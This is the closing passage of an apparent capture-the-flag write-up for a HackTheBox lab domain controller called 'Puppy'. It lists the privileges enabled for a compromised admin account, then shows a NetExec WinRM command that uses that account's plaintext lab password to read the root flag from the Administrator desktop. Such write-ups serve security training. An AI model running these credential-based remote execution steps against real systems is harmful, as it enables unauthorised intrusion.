WINRM       10.10.11.70     5985   DC               SeSystemtimePrivilege                     Change the system time                                             Enabled
WINRM       10.10.11.70     5985   DC               SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
WINRM       10.10.11.70     5985   DC               SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
WINRM       10.10.11.70     5985   DC               SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
WINRM       10.10.11.70     5985   DC               SeBackupPrivilege                         Back up files and directories                                      Enabled
WINRM       10.10.11.70     5985   DC               SeRestorePrivilege                        Restore files and directories                                      Enabled
WINRM       10.10.11.70     5985   DC               SeShutdownPrivilege                       Shut down the system                                               Enabled
WINRM       10.10.11.70     5985   DC               SeDebugPrivilege                          Debug programs                                                     Enabled
WINRM       10.10.11.70     5985   DC               SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
WINRM       10.10.11.70     5985   DC               SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
WINRM       10.10.11.70     5985   DC               SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
WINRM       10.10.11.70     5985   DC               SeUndockPrivilege                         Remove computer from docking station                               Enabled
WINRM       10.10.11.70     5985   DC               SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
WINRM       10.10.11.70     5985   DC               SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
WINRM       10.10.11.70     5985   DC               SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
WINRM       10.10.11.70     5985   DC               SeCreateGlobalPrivilege                   Create global objects                                              Enabled
WINRM       10.10.11.70     5985   DC               SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
WINRM       10.10.11.70     5985   DC               SeTimeZonePrivilege                       Change the time zone                                               Enabled
WINRM       10.10.11.70     5985   DC               SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
WINRM       10.10.11.70     5985   DC               SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

Flag is on Administrator’s Desktop. I can grab it quickly via NetExec.

1
2
3
4
5
➜  DPAPI nxc winrm DC.PUPPY.HTB -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' -x "type C:\users\administrator\desktop\root.txt"
WINRM       10.10.11.70     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.10.11.70     5985   DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
WINRM       10.10.11.70     5985   DC               [+] Executed command (shell type: cmd)
WINRM       10.10.11.70     5985   DC               3dd96cf293a0f52810ba312953c4cf47

Box Done, btw you could try SharpDPAPI but I could get it to work.

Thanks for reading the writeup.

PEPE


This box was special to me because it was created by a friend of mine, tr3n, and I value the effort and thought put into it.

This post is licensed under CC BY 4.0 by the author.